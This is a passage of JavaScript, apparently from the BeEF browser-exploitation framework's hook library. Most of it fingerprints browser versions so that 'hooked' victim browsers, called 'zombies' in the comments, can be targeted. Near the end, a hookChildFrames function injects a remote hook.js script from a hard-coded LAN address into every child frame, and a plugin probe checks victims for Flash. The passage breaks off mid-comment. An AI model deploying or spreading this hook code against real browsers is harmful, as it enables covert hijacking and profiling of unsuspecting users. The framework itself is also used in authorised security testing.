6202 * @example: beef.browser.isC38()
6203 */
6204 isC38: function () {
6205 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match
6206
6207(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 38) ?
6208
6209true : false);
6210 },
6211
6212 /**
6213 * Returns true if Chrome for iOS 38.
6214 * @example: beef.browser.isC38iOS()
6215 */
6216 isC38iOS: function () {
6217 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) &&
6218
6219((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 38) ? true : false);
6220 },
6221
6222 /**
6223 * Returns true if Chrome 39.
6224 * @example: beef.browser.isC39()
6225 */
6226 isC39: function () {
6227 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match
6228
6229(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 39) ?
6230
6231true : false);
6232 },
6233
6234 /**
6235 * Returns true if Chrome for iOS 39.
6236 * @example: beef.browser.isC39iOS()
6237 */
6238 isC39iOS: function () {
6239 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) &&
6240
6241((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 39) ? true : false);
6242 },
6243
6244 /**
6245 * Returns true if Chrome 40.
6246 * @example: beef.browser.isC40()
6247 */
6248 isC40: function () {
6249 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match
6250
6251(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 40) ?
6252
6253true : false);
6254 },
6255
6256 /**
6257 * Returns true if Chrome for iOS 40.
6258 * @example: beef.browser.isC40iOS()
6259 */
6260 isC40iOS: function () {
6261 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) &&
6262
6263((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 40) ? true : false);
6264 },
6265
6266 /**
6267 * Returns true if Chrome 41.
6268 * @example: beef.browser.isC41()
6269 */
6270 isC41: function () {
6271 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match
6272
6273(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 41) ?
6274
6275true : false);
6276 },
6277
6278 /**
6279 * Returns true if Chrome for iOS 41.
6280 * @example: beef.browser.isC41iOS()
6281 */
6282 isC41iOS: function () {
6283 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) &&
6284
6285((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 41) ? true : false);
6286 },
6287
6288 /**
6289 * Returns true if Chrome 42.
6290 * @example: beef.browser.isC42()
6291 */
6292 isC42: function () {
6293 return (!!window.chrome && !!window.fetch && !window.webkitPerformance &&
6294
6295window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match
6296
6297(/Chrome\/(\d+)\./)[1], 10) == 42) ? true : false);
6298 },
6299
6300 /**
6301 * Returns true if Chrome for iOS 42.
6302 * @example: beef.browser.isC42iOS()
6303 */
6304 isC42iOS: function () {
6305 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) &&
6306
6307((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 42) ? true : false);
6308 },
6309
6310 /**
6311 * Returns true if Chrome 43.
6312 * @example: beef.browser.isC43()
6313 */
6314 isC43: function () {
6315 return (!!window.chrome && !!window.fetch && !window.webkitPerformance &&
6316
6317window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match
6318
6319(/Chrome\/(\d+)\./)[1], 10) == 43) ? true : false);
6320 },
6321
6322 /**
6323 * Returns true if Chrome for iOS 43.
6324 * @example: beef.browser.isC43iOS()
6325 */
6326 isC43iOS: function () {
6327 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) &&
6328
6329((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 43) ? true : false);
6330 },
6331
6332 /**
6333 * Returns true if Chrome 44.
6334 * @example: beef.browser.isC44()
6335 */
6336 isC44: function () {
6337 return (!!window.chrome && !!window.fetch && !window.webkitPerformance &&
6338
6339window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match
6340
6341(/Chrome\/(\d+)\./)[1], 10) == 44) ? true : false);
6342 },
6343
6344 /**
6345 * Returns true if Chrome for iOS 44.
6346 * @example: beef.browser.isC44iOS()
6347 */
6348 isC44iOS: function () {
6349 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) &&
6350
6351((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 44) ? true : false);
6352 },
6353
6354 /**
6355 * Returns true if Chrome 45.
6356 * @example: beef.browser.isC45()
6357 */
6358 isC45: function () {
6359 return (!!window.chrome && !!window.fetch && !window.webkitPerformance &&
6360
6361window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match
6362
6363(/Chrome\/(\d+)\./)[1], 10) == 45) ? true : false);
6364 },
6365
6366 /**
6367 * Returns true if Chrome 46.
6368 * @example: beef.browser.isC46()
6369 */
6370 isC46: function () {
6371 return (!!window.chrome && !!window.fetch && !window.webkitPerformance &&
6372
6373window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match
6374
6375(/Chrome\/(\d+)\./)[1], 10) == 46) ? true : false);
6376 },
6377
6378 isC47: function () {
6379 return (!!window.chrome && !!window.fetch && !window.webkitPerformance &&
6380
6381window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match
6382
6383(/Chrome\/(\d+)\./)[1], 10) == 47) ? true : false);
6384 },
6385
6386 /**
6387 * Returns true if Chrome for iOS 45.
6388 * @example: beef.browser.isC45iOS()
6389 */
6390 isC45iOS: function () {
6391 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) &&
6392
6393((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 45) ? true : false);
6394 },
6395
6396 /**
6397 * Returns true if Chrome.
6398 * @example: beef.browser.isC()
6399 */
6400 isC: function () {
6401 return this.isC5() || this.isC6() || this.isC7() || this.isC8() || this.isC9() || this.isC10() || this.isC11() ||
6402
6403this.isC12() || this.isC13() || this.isC14() || this.isC15() || this.isC16() || this.isC17() || this.isC18() || this.isC19
6404
6405() || this.isC19iOS() || this.isC20() || this.isC20iOS() || this.isC21() || this.isC21iOS() || this.isC22() ||
6406
6407this.isC22iOS() || this.isC23() || this.isC23iOS() || this.isC24() || this.isC24iOS() || this.isC25() || this.isC25iOS()
6408
6409|| this.isC26() || this.isC26iOS() || this.isC27() || this.isC27iOS() || this.isC28() || this.isC28iOS() || this.isC29()
6410
6411|| this.isC29iOS() || this.isC30() || this.isC30iOS() || this.isC31() || this.isC31iOS() || this.isC32() ||
6412
6413this.isC32iOS() || this.isC33() || this.isC33iOS() || this.isC34() || this.isC34iOS() || this.isC35() || this.isC35iOS()
6414
6415|| this.isC36() || this.isC36iOS() || this.isC37() || this.isC37iOS() || this.isC38() || this.isC38iOS() || this.isC39()
6416
6417|| this.isC39iOS() || this.isC40() || this.isC40iOS() || this.isC41() || this.isC41iOS() || this.isC42() ||
6418
6419this.isC42iOS() || this.isC43() || this.isC43iOS() || this.isC44() || this.isC44iOS() || this.isC45() || this.isC46() ||
6420
6421this.isC47()|| this.isC45iOS();
6422 },
6423
6424 /**
6425 * Returns true if Opera 9.50 through 9.52.
6426 * @example: beef.browser.isO9_52()
6427 */
6428 isO9_52: function () {
6429 return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.5/) != null));
6430 },
6431
6432 /**
6433 * Returns true if Opera 9.60 through 9.64.
6434 * @example: beef.browser.isO9_60()
6435 */
6436 isO9_60: function () {
6437 return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.6/) != null));
6438 },
6439
6440 /**
6441 * Returns true if Opera 10.xx.
6442 * @example: beef.browser.isO10()
6443 */
6444 isO10: function () {
6445 return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/10\./) != null));
6446 },
6447
6448 /**
6449 * Returns true if Opera 11.xx.
6450 * @example: beef.browser.isO11()
6451 */
6452 isO11: function () {
6453 return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/11\./) != null));
6454 },
6455
6456 /**
6457 * Returns true if Opera 12.xx.
6458 * @example: beef.browser.isO12()
6459 */
6460 isO12: function () {
6461 return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/12\./) != null));
6462 },
6463
6464 /**
6465 * Returns true if Opera.
6466 * @example: beef.browser.isO()
6467 */
6468 isO: function () {
6469 return this.isO9_52() || this.isO9_60() || this.isO10() || this.isO11() || this.isO12();
6470 },
6471
6472 /**
6473 * Returns a hash of string keys representing a given capability
6474 * @example: beef.browser.capabilities()["navigator.plugins"]
6475 */
6476 capabilities: function () {
6477 var out = {};
6478 var type = this.type();
6479
6480 out["navigator.plugins"] = (type.IE11 || !type.IE);
6481
6482 return out;
6483 },
6484
6485 /**
6486 * Returns the type of browser being used.
6487 * @example: beef.browser.type().IE6
6488 * @example: beef.browser.type().FF
6489 * @example: beef.browser.type().O
6490 */
6491 type: function () {
6492
6493 return {
6494 C5: this.isC5(), // Chrome 5
6495 C6: this.isC6(), // Chrome 6
6496 C7: this.isC7(), // Chrome 7
6497 C8: this.isC8(), // Chrome 8
6498 C9: this.isC9(), // Chrome 9
6499 C10: this.isC10(), // Chrome 10
6500 C11: this.isC11(), // Chrome 11
6501 C12: this.isC12(), // Chrome 12
6502 C13: this.isC13(), // Chrome 13
6503 C14: this.isC14(), // Chrome 14
6504 C15: this.isC15(), // Chrome 15
6505 C16: this.isC16(), // Chrome 16
6506 C17: this.isC17(), // Chrome 17
6507 C18: this.isC18(), // Chrome 18
6508 C19: this.isC19(), // Chrome 19
6509 C19iOS: this.isC19iOS(), // Chrome 19 on iOS
6510 C20: this.isC20(), // Chrome 20
6511 C20iOS: this.isC20iOS(), // Chrome 20 on iOS
6512 C21: this.isC21(), // Chrome 21
6513 C21iOS: this.isC21iOS(), // Chrome 21 on iOS
6514 C22: this.isC22(), // Chrome 22
6515 C22iOS: this.isC22iOS(), // Chrome 22 on iOS
6516 C23: this.isC23(), // Chrome 23
6517 C23iOS: this.isC23iOS(), // Chrome 23 on iOS
6518 C24: this.isC24(), // Chrome 24
6519 C24iOS: this.isC24iOS(), // Chrome 24 on iOS
6520 C25: this.isC25(), // Chrome 25
6521 C25iOS: this.isC25iOS(), // Chrome 25 on iOS
6522 C26: this.isC26(), // Chrome 26
6523 C26iOS: this.isC26iOS(), // Chrome 26 on iOS
6524 C27: this.isC27(), // Chrome 27
6525 C27iOS: this.isC27iOS(), // Chrome 27 on iOS
6526 C28: this.isC28(), // Chrome 28
6527 C28iOS: this.isC28iOS(), // Chrome 28 on iOS
6528 C29: this.isC29(), // Chrome 29
6529 C29iOS: this.isC29iOS(), // Chrome 29 on iOS
6530 C30: this.isC30(), // Chrome 30
6531 C30iOS: this.isC30iOS(), // Chrome 30 on iOS
6532 C31: this.isC31(), // Chrome 31
6533 C31iOS: this.isC31iOS(), // Chrome 31 on iOS
6534 C32: this.isC32(), // Chrome 32
6535 C32iOS: this.isC32iOS(), // Chrome 32 on iOS
6536 C33: this.isC33(), // Chrome 33
6537 C33iOS: this.isC33iOS(), // Chrome 33 on iOS
6538 C34: this.isC34(), // Chrome 34
6539 C34iOS: this.isC34iOS(), // Chrome 34 on iOS
6540 C35: this.isC35(), // Chrome 35
6541 C35iOS: this.isC35iOS(), // Chrome 35 on iOS
6542 C36: this.isC36(), // Chrome 36
6543 C36iOS: this.isC36iOS(), // Chrome 36 on iOS
6544 C37: this.isC37(), // Chrome 37
6545 C37iOS: this.isC37iOS(), // Chrome 37 on iOS
6546 C38: this.isC38(), // Chrome 38
6547 C38iOS: this.isC38iOS(), // Chrome 38 on iOS
6548 C39: this.isC39(), // Chrome 39
6549 C39iOS: this.isC39iOS(), // Chrome 39 on iOS
6550 C40: this.isC40(), // Chrome 40
6551 C40iOS: this.isC40iOS(), // Chrome 40 on iOS
6552 C41: this.isC41(), // Chrome 41
6553 C41iOS: this.isC41iOS(), // Chrome 41 on iOS
6554 C42: this.isC42(), // Chrome 42
6555 C42iOS: this.isC42iOS(), // Chrome 42 on iOS
6556 C43: this.isC43(), // Chrome 43
6557 C43iOS: this.isC43iOS(), // Chrome 43 on iOS
6558 C44: this.isC44(), // Chrome 44
6559 C44iOS: this.isC44iOS(), // Chrome 44 on iOS
6560 C45: this.isC45(), // Chrome 45
6561 C46: this.isC46(), // Chrome 46
6562 C47: this.isC47(), // Chrome 46
6563 C45iOS: this.isC45iOS(), // Chrome 45 on iOS
6564
6565 C: this.isC(), // Chrome any version
6566
6567 FF2: this.isFF2(), // Firefox 2
6568 FF3: this.isFF3(), // Firefox 3
6569 FF3_5: this.isFF3_5(), // Firefox 3.5
6570 FF3_6: this.isFF3_6(), // Firefox 3.6
6571 FF4: this.isFF4(), // Firefox 4
6572 FF5: this.isFF5(), // Firefox 5
6573 FF6: this.isFF6(), // Firefox 6
6574 FF7: this.isFF7(), // Firefox 7
6575 FF8: this.isFF8(), // Firefox 8
6576 FF9: this.isFF9(), // Firefox 9
6577 FF10: this.isFF10(), // Firefox 10
6578 FF11: this.isFF11(), // Firefox 11
6579 FF12: this.isFF12(), // Firefox 12
6580 FF13: this.isFF13(), // Firefox 13
6581 FF14: this.isFF14(), // Firefox 14
6582 FF15: this.isFF15(), // Firefox 15
6583 FF16: this.isFF16(), // Firefox 16
6584 FF17: this.isFF17(), // Firefox 17
6585 FF18: this.isFF18(), // Firefox 18
6586 FF19: this.isFF19(), // Firefox 19
6587 FF20: this.isFF20(), // Firefox 20
6588 FF21: this.isFF21(), // Firefox 21
6589 FF22: this.isFF22(), // Firefox 22
6590 FF23: this.isFF23(), // Firefox 23
6591 FF24: this.isFF24(), // Firefox 24
6592 FF25: this.isFF25(), // Firefox 25
6593 FF26: this.isFF26(), // Firefox 26
6594 FF27: this.isFF27(), // Firefox 27
6595 FF28: this.isFF28(), // Firefox 28
6596 FF29: this.isFF29(), // Firefox 29
6597 FF30: this.isFF30(), // Firefox 30
6598 FF31: this.isFF31(), // Firefox 31
6599 FF32: this.isFF32(), // Firefox 32
6600 FF33: this.isFF33(), // Firefox 33
6601 FF34: this.isFF34(), // Firefox 34
6602 FF35: this.isFF35(), // Firefox 35
6603 FF36: this.isFF36(), // Firefox 36
6604 FF37: this.isFF37(), // Firefox 37
6605 FF38: this.isFF38(), // Firefox 38
6606 FF39: this.isFF39(), // Firefox 39
6607 FF40: this.isFF40(), // Firefox 40
6608 FF41: this.isFF41(), // Firefox 41
6609 FF42: this.isFF42(), // Firefox 42
6610 FF43: this.isFF43(), // Firefox 43
6611 FF: this.isFF(), // Firefox any version
6612
6613 IE6: this.isIE6(), // Internet Explorer 6
6614 IE7: this.isIE7(), // Internet Explorer 7
6615 IE8: this.isIE8(), // Internet Explorer 8
6616 IE9: this.isIE9(), // Internet Explorer 9
6617 IE10: this.isIE10(), // Internet Explorer 10
6618 IE11: this.isIE11(), // Internet Explorer 11
6619 IE: this.isIE(), // Internet Explorer any version
6620
6621 O9_52: this.isO9_52(), // Opera 9.50 through 9.52
6622 O9_60: this.isO9_60(), // Opera 9.60 through 9.64
6623 O10: this.isO10(), // Opera 10.xx
6624 O11: this.isO11(), // Opera 11.xx
6625 O12: this.isO12(), // Opera 12.xx
6626 O: this.isO(), // Opera any version
6627
6628 S4: this.isS4(), // Safari 4.xx
6629 S5: this.isS5(), // Safari 5.xx
6630 S6: this.isS6(), // Safari 6.x
6631 S7: this.isS7(), // Safari 7.x
6632 S8: this.isS8(), // Safari 8.x
6633 S: this.isS() // Safari any version
6634 }
6635 },
6636
6637 /**
6638 * Returns the type of browser being used.
6639 * @return: {String} User agent software and version.
6640 *
6641 * @example: beef.browser.getBrowserVersion()
6642 */
6643 getBrowserVersion: function () {
6644
6645 if (this.isC5()) {
6646 return '5'
6647 }
6648 ; // Chrome 5
6649 if (this.isC6()) {
6650 return '6'
6651 }
6652 ; // Chrome 6
6653 if (this.isC7()) {
6654 return '7'
6655 }
6656 ; // Chrome 7
6657 if (this.isC8()) {
6658 return '8'
6659 }
6660 ; // Chrome 8
6661 if (this.isC9()) {
6662 return '9'
6663 }
6664 ; // Chrome 9
6665 if (this.isC10()) {
6666 return '10'
6667 }
6668 ; // Chrome 10
6669 if (this.isC11()) {
6670 return '11'
6671 }
6672 ; // Chrome 11
6673 if (this.isC12()) {
6674 return '12'
6675 }
6676 ; // Chrome 12
6677 if (this.isC13()) {
6678 return '13'
6679 }
6680 ; // Chrome 13
6681 if (this.isC14()) {
6682 return '14'
6683 }
6684 ; // Chrome 14
6685 if (this.isC15()) {
6686 return '15'
6687 }
6688 ; // Chrome 15
6689 if (this.isC16()) {
6690 return '16'
6691 }
6692 ; // Chrome 16
6693 if (this.isC17()) {
6694 return '17'
6695 }
6696 ; // Chrome 17
6697 if (this.isC18()) {
6698 return '18'
6699 }
6700 ; // Chrome 18
6701 if (this.isC19()) {
6702 return '19'
6703 }
6704 ; // Chrome 19
6705 if (this.isC19iOS()) {
6706 return '19'
6707 }
6708 ; // Chrome 19 for iOS
6709 if (this.isC20()) {
6710 return '20'
6711 }
6712 ; // Chrome 20
6713 if (this.isC20iOS()) {
6714 return '20'
6715 }
6716 ; // Chrome 20 for iOS
6717 if (this.isC21()) {
6718 return '21'
6719 }
6720 ; // Chrome 21
6721 if (this.isC21iOS()) {
6722 return '21'
6723 }
6724 ; // Chrome 21 for iOS
6725 if (this.isC22()) {
6726 return '22'
6727 }
6728 ; // Chrome 22
6729 if (this.isC22iOS()) {
6730 return '22'
6731 }
6732 ; // Chrome 22 for iOS
6733 if (this.isC23()) {
6734 return '23'
6735 }
6736 ; // Chrome 23
6737 if (this.isC23iOS()) {
6738 return '23'
6739 }
6740 ; // Chrome 23 for iOS
6741 if (this.isC24()) {
6742 return '24'
6743 }
6744 ; // Chrome 24
6745 if (this.isC24iOS()) {
6746 return '24'
6747 }
6748 ; // Chrome 24 for iOS
6749 if (this.isC25()) {
6750 return '25'
6751 }
6752 ; // Chrome 25
6753 if (this.isC25iOS()) {
6754 return '25'
6755 }
6756 ; // Chrome 25 for iOS
6757 if (this.isC26()) {
6758 return '26'
6759 }
6760 ; // Chrome 26
6761 if (this.isC26iOS()) {
6762 return '26'
6763 }
6764 ; // Chrome 26 for iOS
6765 if (this.isC27()) {
6766 return '27'
6767 }
6768 ; // Chrome 27
6769 if (this.isC27iOS()) {
6770 return '27'
6771 }
6772 ; // Chrome 27 for iOS
6773 if (this.isC28()) {
6774 return '28'
6775 }
6776 ; // Chrome 28
6777 if (this.isC28iOS()) {
6778 return '28'
6779 }
6780 ; // Chrome 28 for iOS
6781 if (this.isC29()) {
6782 return '29'
6783 }
6784 ; // Chrome 29
6785 if (this.isC29iOS()) {
6786 return '29'
6787 }
6788 ; // Chrome 29 for iOS
6789 if (this.isC30()) {
6790 return '30'
6791 }
6792 ; // Chrome 30
6793 if (this.isC30iOS()) {
6794 return '30'
6795 }
6796 ; // Chrome 30 for iOS
6797 if (this.isC31()) {
6798 return '31'
6799 }
6800 ; // Chrome 31
6801 if (this.isC31iOS()) {
6802 return '31'
6803 }
6804 ; // Chrome 31 for iOS
6805 if (this.isC32()) {
6806 return '32'
6807 }
6808 ; // Chrome 32
6809 if (this.isC32iOS()) {
6810 return '32'
6811 }
6812 ; // Chrome 32 for iOS
6813 if (this.isC33()) {
6814 return '33'
6815 }
6816 ; // Chrome 33
6817 if (this.isC33iOS()) {
6818 return '33'
6819 }
6820 ; // Chrome 33 for iOS
6821 if (this.isC34()) {
6822 return '34'
6823 }
6824 ; // Chrome 34
6825 if (this.isC34iOS()) {
6826 return '34'
6827 }
6828 ; // Chrome 34 for iOS
6829 if (this.isC35()) {
6830 return '35'
6831 }
6832 ; // Chrome 35
6833 if (this.isC35iOS()) {
6834 return '35'
6835 }
6836 ; // Chrome 35 for iOS
6837 if (this.isC36()) {
6838 return '36'
6839 }
6840 ; // Chrome 36
6841 if (this.isC36iOS()) {
6842 return '36'
6843 }
6844 ; // Chrome 36 for iOS
6845 if (this.isC37()) {
6846 return '37'
6847 }
6848 ; // Chrome 37
6849 if (this.isC37iOS()) {
6850 return '37'
6851 }
6852 ; // Chrome 37 for iOS
6853 if (this.isC38()) {
6854 return '38'
6855 }
6856 ; // Chrome 38
6857 if (this.isC38iOS()) {
6858 return '38'
6859 }
6860 ; // Chrome 38 for iOS
6861 if (this.isC39()) {
6862 return '39'
6863 }
6864 ; // Chrome 39
6865 if (this.isC39iOS()) {
6866 return '39'
6867 }
6868 ; // Chrome 39 for iOS
6869 if (this.isC40()) {
6870 return '40'
6871 }
6872 ; // Chrome 40
6873 if (this.isC40iOS()) {
6874 return '40'
6875 }
6876 ; // Chrome 40 for iOS
6877 if (this.isC41()) {
6878 return '41'
6879 }
6880 ; // Chrome 41
6881 if (this.isC41iOS()) {
6882 return '41'
6883 }
6884 ; // Chrome 41 for iOS
6885 if (this.isC42()) {
6886 return '42'
6887 }
6888 ; // Chrome 42
6889 if (this.isC42iOS()) {
6890 return '42'
6891 }
6892 ; // Chrome 42 for iOS
6893 if (this.isC43()) {
6894 return '43'
6895 }
6896 ; // Chrome 43
6897 if (this.isC43iOS()) {
6898 return '43'
6899 }
6900 ; // Chrome 43 for iOS
6901 if (this.isC44()) {
6902 return '44'
6903 }
6904 ; // Chrome 44
6905 if (this.isC44iOS()) {
6906 return '44'
6907 }
6908 ; // Chrome 44 for iOS
6909 if (this.isC45()) {
6910 return '45'
6911 }
6912 ; // Chrome 45
6913 if (this.isC46()) {
6914 return '46'
6915 }
6916 ;// Chrome 46
6917 if (this.isC47()) {
6918 return '47'
6919 }
6920 ;// Chrome 47
6921 if (this.isC45iOS()) {
6922 return '45'
6923 }
6924 ; // Chrome 45 for iOS
6925
6926 if (this.isFF2()) {
6927 return '2'
6928 }
6929 ; // Firefox 2
6930 if (this.isFF3()) {
6931 return '3'
6932 }
6933 ; // Firefox 3
6934 if (this.isFF3_5()) {
6935 return '3.5'
6936 }
6937 ; // Firefox 3.5
6938 if (this.isFF3_6()) {
6939 return '3.6'
6940 }
6941 ; // Firefox 3.6
6942 if (this.isFF4()) {
6943 return '4'
6944 }
6945 ; // Firefox 4
6946 if (this.isFF5()) {
6947 return '5'
6948 }
6949 ; // Firefox 5
6950 if (this.isFF6()) {
6951 return '6'
6952 }
6953 ; // Firefox 6
6954 if (this.isFF7()) {
6955 return '7'
6956 }
6957 ; // Firefox 7
6958 if (this.isFF8()) {
6959 return '8'
6960 }
6961 ; // Firefox 8
6962 if (this.isFF9()) {
6963 return '9'
6964 }
6965 ; // Firefox 9
6966 if (this.isFF10()) {
6967 return '10'
6968 }
6969 ; // Firefox 10
6970 if (this.isFF11()) {
6971 return '11'
6972 }
6973 ; // Firefox 11
6974 if (this.isFF12()) {
6975 return '12'
6976 }
6977 ; // Firefox 12
6978 if (this.isFF13()) {
6979 return '13'
6980 }
6981 ; // Firefox 13
6982 if (this.isFF14()) {
6983 return '14'
6984 }
6985 ; // Firefox 14
6986 if (this.isFF15()) {
6987 return '15'
6988 }
6989 ; // Firefox 15
6990 if (this.isFF16()) {
6991 return '16'
6992 }
6993 ; // Firefox 16
6994 if (this.isFF17()) {
6995 return '17'
6996 }
6997 ; // Firefox 17
6998 if (this.isFF18()) {
6999 return '18'
7000 }
7001 ; // Firefox 18
7002 if (this.isFF19()) {
7003 return '19'
7004 }
7005 ; // Firefox 19
7006 if (this.isFF20()) {
7007 return '20'
7008 }
7009 ; // Firefox 20
7010 if (this.isFF21()) {
7011 return '21'
7012 }
7013 ; // Firefox 21
7014 if (this.isFF22()) {
7015 return '22'
7016 }
7017 ; // Firefox 22
7018 if (this.isFF23()) {
7019 return '23'
7020 }
7021 ; // Firefox 23
7022 if (this.isFF24()) {
7023 return '24'
7024 }
7025 ; // Firefox 24
7026 if (this.isFF25()) {
7027 return '25'
7028 }
7029 ; // Firefox 25
7030 if (this.isFF26()) {
7031 return '26'
7032 }
7033 ; // Firefox 26
7034 if (this.isFF27()) {
7035 return '27'
7036 }
7037 ; // Firefox 27
7038 if (this.isFF28()) {
7039 return '28'
7040 }
7041 ; // Firefox 28
7042 if (this.isFF29()) {
7043 return '29'
7044 }
7045 ; // Firefox 29
7046 if (this.isFF30()) {
7047 return '30'
7048 }
7049 ; // Firefox 30
7050 if (this.isFF31()) {
7051 return '31'
7052 }
7053 ; // Firefox 31
7054 if (this.isFF32()) {
7055 return '32'
7056 }
7057 ; // Firefox 32
7058 if (this.isFF33()) {
7059 return '33'
7060 }
7061 ; // Firefox 33
7062 if (this.isFF34()) {
7063 return '34'
7064 }
7065 ; // Firefox 34
7066 if (this.isFF35()) {
7067 return '35'
7068 }
7069 ; // Firefox 35
7070 if (this.isFF36()) {
7071 return '36'
7072 }
7073 ; // Firefox 36
7074 if (this.isFF37()) {
7075 return '37'
7076 }
7077 ; // Firefox 37
7078 if (this.isFF38()) {
7079 return '38'
7080 }
7081 ; // Firefox 38
7082 if (this.isFF39()) {
7083 return '39'
7084 }
7085 ; // Firefox 39
7086 if (this.isFF40()) {
7087 return '40'
7088 }
7089 ; // Firefox 40
7090 if (this.isFF41()) {
7091 return '41'
7092 }
7093 ; // Firefox 41
7094 if (this.isFF42()) {
7095 return '42'
7096 }
7097 ; // Firefox 42
7098 if (this.isFF43()) {
7099 return '43'
7100 }
7101 ; // Firefox 43
7102
7103 if (this.isIE6()) {
7104 return '6'
7105 }
7106 ; // Internet Explorer 6
7107 if (this.isIE7()) {
7108 return '7'
7109 }
7110 ; // Internet Explorer 7
7111 if (this.isIE8()) {
7112 return '8'
7113 }
7114 ; // Internet Explorer 8
7115 if (this.isIE9()) {
7116 return '9'
7117 }
7118 ; // Internet Explorer 9
7119 if (this.isIE10()) {
7120 return '10'
7121 }
7122 ; // Internet Explorer 10
7123 if (this.isIE11()) {
7124 return '11'
7125 }
7126 ; // Internet Explorer 11
7127
7128 if (this.isS4()) {
7129 return '4'
7130 }
7131 ; // Safari 4
7132 if (this.isS5()) {
7133 return '5'
7134 }
7135 ; // Safari 5
7136 if (this.isS6()) {
7137 return '6'
7138 }
7139 ; // Safari 6
7140
7141 if (this.isS7()) {
7142 return '7'
7143 }
7144 ; // Safari 7
7145 if (this.isS8()) {
7146 return '8'
7147 }
7148 ; // Safari 8
7149
7150 if (this.isO9_52()) {
7151 return '9.5'
7152 }
7153 ; // Opera 9.5x
7154 if (this.isO9_60()) {
7155 return '9.6'
7156 }
7157 ; // Opera 9.6
7158 if (this.isO10()) {
7159 return '10'
7160 }
7161 ; // Opera 10.xx
7162 if (this.isO11()) {
7163 return '11'
7164 }
7165 ; // Opera 11.xx
7166 if (this.isO12()) {
7167 return '12'
7168 }
7169 ; // Opera 12.xx
7170
7171 return 'UNKNOWN'; // Unknown UA
7172 },
7173
7174 /**
7175 * Returns the type of user agent by hooked browser.
7176 * @return: {String} User agent software.
7177 *
7178 * @example: beef.browser.getBrowserName()
7179 */
7180 getBrowserName: function () {
7181
7182 if (this.isC()) {
7183 return 'C'
7184 }
7185 ; // Chrome any version
7186 if (this.isFF()) {
7187 return 'FF'
7188 }
7189 ; // Firefox any version
7190 if (this.isIE()) {
7191 return 'IE'
7192 }
7193 ; // Internet Explorer any version
7194 if (this.isO()) {
7195 return 'O'
7196 }
7197 ; // Opera any version
7198 if (this.isS()) {
7199 return 'S'
7200 }
7201 ; // Safari any version
7202 return 'UNKNOWN'; // Unknown UA
7203 },
7204
7205 /**
7206 * Hooks all child frames in the current window
7207 * Restricted by same-origin policy
7208 */
7209 hookChildFrames: function () {
7210
7211 // create script object
7212 var script = document.createElement('script');
7213 script.type = 'text/javascript';
7214 script.src = 'http://192.168.0.105:3000/hook.js';
7215
7216 // loop through child frames
7217 for (var i = 0; i < self.frames.length; i++) {
7218 try {
7219 // append hook script
7220 self.frames[i].document.body.appendChild(script);
7221 beef.debug("Hooked child frame [src:" + self.frames[i].window.location.href + "]");
7222 } catch (e) {
7223 // warn on cross-origin
7224 beef.debug("Hooking child frame failed: " + e.message);
7225 }
7226 }
7227 },
7228
7229 /**
7230 * Checks if the zombie has flash installed and enabled.
7231 * @return: {Boolean} true or false.
7232 *
7233 * @example: if(beef.browser.hasFlash()) { ... }
7234 */
7235 hasFlash: function () {
7236 if (!this.type().IE) {
7237 return (navigator.mimeTypes && navigator.mimeTypes["application/x-shockwave-flash"]);
7238 } else {
7239 flash_versions = 12;
7240 flash_installed = false;
7241
7242
7243 if (this.type().IE11) {
7244 flash_installed = (navigator.plugins["Shockwave Flash"] != undefined);
7245 } else {
7246 if (window.ActiveXObject != null) {
7247 for (x = 2; x <= flash_versions; x++) {
7248 try {
7249 Flash = eval("new ActiveXObject('ShockwaveFlash.ShockwaveFlash." + x + "');");
7250 if (Flash) {
7251 flash_installed = true;
7252 }
7253 } catch (e) {
7254 beef.debug("Creating Flash ActiveX object failed: " + e.message);
7255 }
7256 }
7257 }
7258 }
7259 return flash_installed;
7260 }
7261 },
7262
7263 /**
7264 * Checks if the zombie has the QuickTime plugin installed.
7265 * @return: {Boolean} true or false.
